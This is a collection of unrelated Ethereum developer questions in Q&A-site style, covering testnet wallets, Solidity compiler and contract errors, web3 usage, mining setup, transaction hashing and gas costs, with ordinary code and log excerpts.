texts: From Ethereum Wallet testnet mode I got some ETH in main account. Is it possible use them?

texts:
Im new in this practise. I installed Ethereum Wallet for mac and immediately gone to testnet mode and started mining. After many hours on main account still in testnet mode i got some ETH. Then I created always in Testnet mode an other account and I transferred to it for test 0.5 Eth. System after procedure password confirmed sent to if successfully. So now 2 accounts in testnet mode and on top right total displayed and in accounts one part in main account and 0.5 Eth in the 2ns one. So I thought it worked ok and I created wallet contract scuccesfully with positive transaction of 0.5 Eth to it too.
 In latest transactions list there are these listed with date time and specification Transfer between accounts with, on the right, the total out with arrow direction right and colored in red. Then I thought it work ok and I did a trial to send ETH 0,05 to exchangers. I did process as usual (still in testnet mode) and sent ... From the Total balance at top right, was deducted the amount but exchanger never received the 0.5 ETH. Is there someone whom can explain me:

1) where gone the 0.5 I sent;
2) what is wrong in procedure I used;
3) what I have to do for do real transfer outside my accounts
4) what is correct setup I have to do before send outside ETH

Thanks


texts: Totally stumped with "INSUFFICIENT_LIQUIDITY_MINTED"

texts:
I have been at this now for about a day and a half an I'm totally lost. In advance, I'm sorry if this is a simple question - I'm new to solidity (although not new to programming, blockchain and crypto in general).
I'm trying to provide some liquidity to a little shitcoin I made as a learning experiment. It worked nicely for the first few goes but then all of a sudden started throwing the error INSUFFICIENT_LIQUIDITY_MINTED.
Now I've gone through the actual mint function (here) in the contract and have redone the maths/code manually about a million times and each time, the result ends up at 0 - which explains the error.
Now the question I have is how and why?
To my understanding, reserve will always be the balance of the contract (in either token) (because of the _update function getting called all over the place). So the variable amount = balance.sub(_reserve) ... That's 0. Then, the actual liquidity variable is being set to (roughly)  amount.mul(_totalSupply) which will obviously be 0 since amount is 0.
How will that ever be higher??
Contract address: 0x141b3c6d43acd9ccda3e2349dbfef9c821389eb9


texts: How to use a metamask Wallet from web3,py?

texts:
I deployed contracts to Ropsten test net using truffle and a metamask wallet to pay for the transactions and Infura as a Hosted ethereum node.

To do that in Truffle, I have to use the truffle-hdwallet-provider package to import the keys from my metamask wallet.

var HDWalletProvider = require("truffle-hdwallet-provider")
const mnemonic = "mnemonic words from metamask here"

module.exports = {
 networks : {
    ganache : {
      host : 'localhost',
      port : 8545,    // By default Ganache runs on this port.
      network_id : "*" // network_id for ganache is 5777. However, by keeping * as value you can run this node on  any network
    },
     ropsten: {
        provider: function(){
            return new HDWalletProvider(mnemonic,'https://ropsten.infura.io/v3/<infura_api_key>')
        },
         network_id: 3,
         gas: 4500000,
     }
  }
};

Now I want to Use web3.py to interact with the contracts and I am using  the Automatic  infura connector from web3.py, web3.auto.infura.w3. I didn't find in the documentation how to import the keys from my metamask wallet to pay for the transactions on the Ropsten network.

for example: suppose I have a contract instance, and I want to call a function on it:

token_contract_instance = w3.eth.contract(address=token_address, abi=token_artifact['abi'])
bal = token_contract_instance.functions.balanceOf(address).call()

But I want that msg.sender on this call to be the ethereum address I created with metamask.

Notice this is taking place in the server-side of the web app.

My guess is that the answer is to define eth.DefaultAccount but the deocumentation is non-existing for this method.

Can anyone show me how to do this?


texts:
Görli testnet is started with the goal of being widely usable across all client implementations supporting Clique PoA engine (EIP-225) (see Comparison of the different TestNets)

Since it exists already a testnet with Clique PoA engine, which is Rinkeby, why there was a need for a new one? What is the benefit of Görli over Rinkeby?


texts: How to access the element of decodedParameters

texts:
I have used web3.eth.abi.decodeParameters and returned values have been pushed into my array (finalGettersParams.push(...))  something like this.

   [ Result { __length__: 0 },
  Result {
    '0': '0x0000000000000000000000000000000000000000',
    __length__: 1 },
  Result {
    '0': '0x0000000000000000000000000000000000000000',
    '1': '0x0000000000000000000000000000000000000000',
    __length__: 2 }
    ]

Now i want to access individual elements of "Result"from my array. I can access finalGettersParams[2].__length__ and its print 2. However, i am not sure how to access the '0' and  '1' .... like this finalGettersParams[2].'0' These 0, 1 are dynamic.. means they can be increased 0, 1, 2, 3 or decreased (depending on my arguments list, you can see in above array)


texts: Can't deploy a contract to Rinkby test net with myetherwallet contract deploy

texts:
I have a problem with deploying contract on myetherwallet. It keeps showing this no mmatter what I do:

Any idea what is wrong or what I need to do?
I tried updating syncing my node last night but some reason it was super slow and didn't even finish half.

I just want a way to easily deploy my test contracts to test net. It seems to me I am just doing something wrong here, because as a test I took a contract directly from ethereums website (the ballot one) and tried to upload it and it wont work.

EDIT: I am deploying from taking the bytecode from remix, and pasting it in metamask


texts: How to fix Solidity version missmatch from Visual Studio Code

texts:
So I have install the Solidity extension for Visual Studio.
V0.0.76
https://github.com/juanfranblanco/vscode-solidity
And when I start my Solidity code with
pragma solidity ^0.5.0;

I get the following error in visual studio.
Source file requires different compiler version (current compiler is 0.7.0+commit.9e61f92b.Emscripten.clang) - note that nightly builds are considered to be strictly less than the released version
However I'm using truffle to compile and when I run truffle version I get
Truffle v5.0.2 (core: 5.0.2)
Solidity v0.5.0 (solc-js)
Node v12.16.3

So my code is compiling but I would like to know how to specify the solidity version to visual code as well to prevent error warning.


texts: ICAP 34 characters long. What's this kind of ICAP?

texts:
My understanding is that an ICAP address will have 33 characters for Direct or 35 characters for Basic, thus I've generated some 34 characters long ICAP addresses using:

helpeth keyGenerate

In these cases, the Ethereum Addresses starts with 0x0.
Is that correct? What's this kind of ICAP address?


texts: How to find solidity code for a contract address

texts:
I need to find out the public contract code i.e. solidity code for a contract address.

For eample, here it has a tab for contract code but it's in assembly and byte code only, which is not useful.

I need to find out method signatures so that I can form topics.


texts: How to calculate the average hashrate when ethminer reports hashrates that seem variable?

texts:
The Ethereum miner ethminer sometimes produces variable hashrates like:

miner  02:16:07.510|ethminer  Mining on PoWhash #ad8608a0… : 20971520 H/s = 4194304 hashes / 0.2 s
miner  02:16:07.711|ethminer  Mining on PoWhash #ad8608a0… : 83468736 H/s = 16777216 hashes / 0.201 s
miner  02:16:07.913|ethminer  Mining on PoWhash #ad8608a0… : 41734368 H/s = 8388608 hashes / 0.201 s
miner  02:16:08.114|ethminer  Mining on PoWhash #ad8608a0… : 83468736 H/s = 16777216 hashes / 0.201 s
miner  02:16:08.315|ethminer  Mining on PoWhash #ad8608a0… : 41734368 H/s = 8388608 hashes / 0.201 s
miner  02:16:08.517|ethminer  Mining on PoWhash #ad8608a0… : 83468736 H/s = 16777216 hashes / 0.201 s
miner  02:16:08.718|ethminer  Mining on PoWhash #ad8608a0… : 41734368 H/s = 8388608 hashes / 0.201 s
miner  02:16:08.920|ethminer  Mining on PoWhash #ad8608a0… : 83468736 H/s = 16777216 hashes / 0.201 s

How do you calculate the average hashrate in this case?

This situation occurs commonly when your GPUs are overclocked, or the ethminer parameters --cl-local-work and --cl-global-work are changed from the default settings.

Update

Reddit user athropal has stated in reddit.com/r/EtherMining:

  The hashrate is not variable, only the reporting math is inaccurate because of the short farm-recheck time. If you look at qtminer, which uses a more effective method of getting data, it has longer periods of time to calculate the hashrate of, 2 seconds vs 0.2. The reported hashrate there is much more stable.


texts: Problem making solidity contract compatible with version 0.5.0 or higher

texts:
pragma solidity >=0.5.0 <0.6.0;

contract Courses {

    struct Instructor {
        string  age; //add memory to struct varibles
        string  fName;
        string  lName;
    }

    mapping (address => Instructor) public instructors; //added public
    address[] public instructorAccts;

    function setInstructor(address _address, uint256 _age, string memory _fName, string memory _lName) public {

        Instructor memory instructor = Instructor(_age, _fName, _lName);
        instructor[_address] = instructor;
        instructor.age = _age;
        instructor.fName = _fName;
        instructor.lName = _lName;

        instructorAccts.push(_address) -1;
    }

    function getInstructors() view public returns(address[] memory) {
        return instructorAccts;
    }

    function getInstructor(address _address) view public returns (uint, string memory, string memory) {
        return (instructors[_address].age, instructors[_address].fName, instructors[_address].lName);
    }

    function countInstructors() view public returns (uint256) {
        return instructorAccts.length;
    }

}


texts: How can I code a crowdsale contract to send all unsold tokens to a specific address?

texts:
From my understanding of smart contracts it would seem that there is no way to set a specific function or action to trigger itself after a certain time, is this the case?

Is the only way to allocate unsold tokens to set a function which does so and then call that function manually upon the finish of the ICO end date?

I cannot find any implementation of this kind of thing, but surely it is a common method within ICOs? OpenZeppelins "FinalizeAgent" contract is of no help, as it does not explain how it is triggered.

Thank you.


texts: What happens when the result of the shift operation does not fit in the type of the left operand?

texts:
For instance, take the following code:
pragma solidity ^0.8.0;

function foo() external pure returns (uint256, uint256, uint256) {
    uint256 i1 = uint256(2) << 255;
    uint256 i2 = uint256(4) << 255;
    uint256 i3 = uint256(8) << 255;
    return (i1, i2, i3);
}

In a purely mathematical sense, the result should be (2**256, 2**257, 2**258). But these numbers overflow the maximum value permitted by uint256, which is 2**256 - 1.
What does Solidity do in this case?


texts: Contract design by contract -> correctness and maximum gas consumption

texts:
This question is a general design question that regards contract correctness and the functions I list here are just examples.

As I develop on Ethereum, it becomes aparent to me that it might be relatively easy to mal-design a contract that deadlocks itself because necessary key functions may suddenly become not callable anymore because their excecution suddenly exceeds the gas limit.

That leads me to the likely difficult question:

How can I assert that a specific function never uses more than a certain ammount of gas? This seems to be a crucial necessity for contract correctness.

For example

function unbound() returns (uint256) {
    uint256 total = 0;
    for (uint i=0; i < users.length; i++) {
        total+= users[i].value;
    }
    return total;
}

calling this function has undeterministic gas cost and could easily at some point become uncallable.
Of course in such a simple example like this it's easy to redesign and calculate this total not in a loop but by other means. But it's not always possible to avoid loops. The question is, how do you write correct functions in that case?

For example, the system might be designed such that there are never more than 6 users, in which case the loop is bound and the execution cost deterministic, so if I have:

function bound() returns (uint256) {
    uint256 total = 0;
    assert(users.length < 6);
    for (uint i=0; i < users.length; i++) {
        total+= users[i].value;
    }
    return total;
}

This function uses a loop but has a deterministic upper bound for gas consumption.

A: How can I calculate the maximum amount of gas calling this function will consume?

B: How can I communicate this maximum to clients of the function?

Can I somehow do something like this:

function bound() returns (uint256) {
    uint256 total = 0;
    for (uint i=0; i < users.length; i++) {
        total+= users[i].value;
    }
    assert(gasConsumend < 1234);
    return total;
}

?

We're writing contracts after all, and pre- and post- conditions are an integral part of design by contract. We can write preconditions with require() and postconditions with assert() - but for correctness on ethereum it seems also necessary to assert a maximum gas consumption. How?


texts:
I can not mine on a private blockchain using parity in stratum mode and ethminer.

Parity Ethereum version: 2.1.9
ethminer: 0.16
Operating system: Ubuntu 18.04

Here is the output from ethminer:

m 01:12:05 ethminer ethminer 0.16.1
 m 01:12:05 ethminer Build: linux/release
cu 01:12:05 ethminer Using grid size: 8,192, block size: 128
 i 01:12:05 ethminer Configured pool 127.0.0.1:8008
 i 01:12:05 main     Selected pool 127.0.0.1:8008
 i 01:12:05 stratum  Stratum mode detected: STRATUM
 i 01:12:05 stratum  Subscribed!
 i 01:12:05 stratum  Authorized worker
 i 01:12:05 stratum  Established connection with 127.0.0.1:8008 at  [127.0.0.1:8008]
 i 01:12:05 stratum  Spinning up miners...
 i 01:12:05 cuda-0   No work. Pause for 3 s.
 i 01:12:05 cuda-1   No work. Pause for 3 s.
 i 01:12:08 cuda-0   No work. Pause for 3 s.
 i 01:12:08 cuda-1   No work. Pause for 3 s.
 m 01:12:10 ethminer Speed 0.00 Mh/s gpu0 0.00 gpu1 0.00 [A0] Time: 00:00
 i 01:12:11 cuda-1   No work. Pause for 3 s.
 i 01:12:11 cuda-0   No work. Pause for 3 s.
 i 01:12:14 cuda-1   No work. Pause for 3 s.
 i 01:12:14 cuda-0   No work. Pause for 3 s.

Here is how I invoke ethminer:

/opt/ethminer/bin/ethminer -R -U -P stratum+tcp://127.0.0.1:8008

Here is my parity .toml file:

[parity]
chain = "/home/parity/my-chain-spec.json"

[network]
reserved_peers = "/home/parity/reserved-peers.txt"
min_peers = 15

[rpc]
hosts = [""]
cors = [""]

[account]
unlock = ["0x00..."]
password = ["/home/parity/keyPass.txt"]

[mining]
author = "0x00..."

[stratum]

`netstat -tulpn | grep '8008' shows:

tcp        0      0 127.0.0.1:8008          0.0.0.0:*               LISTEN      6699/parity

Do you see something I do not see?

ethminer works when I use it on this worker with the same flags connected to a stratum pool.

Parity has 15 peers (and that is min_peers in toml file).

Thank you.


texts: About ethereum transaction hash & ECDSA hash function

texts:
I have some questions.
First, I can find a transaction hash on the etherscan website.  https://etherscan.io/
I want to know the content about transaction hash, that is, transaction hash=hash(content).
what's content?
Second, I know in the ethereum must sign ECDSA to generate "r,s,v", but in the ECDSA algorithm has a function hash(e), what' the content about that "e"?
The transaction hash =? hash(e)
The difference between the transaction hash and hash(e).
Thank you very much!


texts: How to write an optimized (gas-cost) smart contract?

texts:
As we all know, there are many factors that determine a good smart contract, such as:

Security:  it has minimal/zero vulnerability so they cannot be exploited by an adversary. Immune to Attacks.
Cost: how much in total a

  (a) smart contract deployment costs,

  (b) running/invoking each function of it costs.

Correctness: it executes as it has been planned.

In this question, I'd like to focus on the cost of a smart contract.

Question 1: How to make a cost-effective smart contract?

Question 2: How to avoid using some expensive functions and what are the alternatives? In other words, are there any functions well-known to be more expensive than other operations and can we replace them with better ones?

Question 3: In general, what are the good practice of writing a smart contract with minimal cost?

In short:  How can we save gas : ether : money?